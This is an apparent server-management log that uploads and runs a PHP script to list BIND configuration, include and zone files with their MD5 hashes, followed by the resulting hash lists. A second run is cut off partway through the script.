MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:54:53: Establishing a connection
2026-04-25 19:54:53: 

PUT: /tmp/pkp501719

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:54:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp501719; rm /tmp/pkp501719'

2026-04-25 19:54:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:55:17: Establishing a connection
2026-04-25 19:55:17: 

PUT: /tmp/pkp276310

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

